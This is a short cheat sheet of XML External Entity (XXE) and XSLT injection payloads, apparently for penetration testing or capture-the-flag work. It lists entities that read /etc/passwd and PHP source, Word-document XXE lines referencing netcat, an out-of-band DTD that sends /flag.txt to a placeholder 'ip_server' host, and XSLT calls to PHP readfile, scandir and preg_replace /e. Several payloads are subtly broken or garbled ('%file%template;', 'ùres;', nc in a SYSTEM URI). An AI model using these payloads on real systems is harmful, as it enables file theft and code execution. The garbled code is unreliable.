XML EXTERNAL ENTITY (XXE) AND XSLT

**Resources**

https://2017.zeronights.org/wp-content/uploads/materials/ZN17\_yarbabin\_XXE\_Jedi\_Babin.pdf

**Basic XXE**

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=path/index.php" >

]>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

]><title>&xxe;</title>

# XXE via Word:

<!-- word/document.xml -->

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "nc -nlvp 31337"> %pe; ]>

<foo>&external;</foo>

<!-- word/document.xml -->

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY sp SYSTEM "nc -nlvp 31337">

]>

<r>&sp;</r>

**Out of Band XXE (OOB XXE)**

# The exploitation will download a remote DTD file

# And then execute entities

# SVG File

<!DOCTYPE svg [

<!ENTITY % file SYSTEM "http://ip\_server/file.dtd"

%file%template;

]>

<svg xmlns="http://www.w3.org/2000/svg">

<text x="10" y="30">Injected : ùres;</text>

</svg>

# DTD file

<!ENTITY % secret1 SYSTEM "file:///flag.txt">

<!ENTITY % template "<!ENTITY res SYSTEM 'http://ip\_server/?data=%secret1;'>">

**XSLT Injection**

# You can execute commands through an external XML file

<br />Version: <xsl:value-of select="system-property('xsl:version')" />

<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />

<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />

# Example

<?xml version="1.0" encoding="UTF-8"?>

<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">

<body>

<xsl:value-of select="php:function('readfile','index.php')" />

</body>

</html>

# Look for resource

<xsl:variable name="scana">

implode('<br/>',scandir('.'))

</xsl:variable>

<br />Scan dir 1: <xsl:value-of select="php:function('preg\_replace', '/.\*/e', $scana, '')" />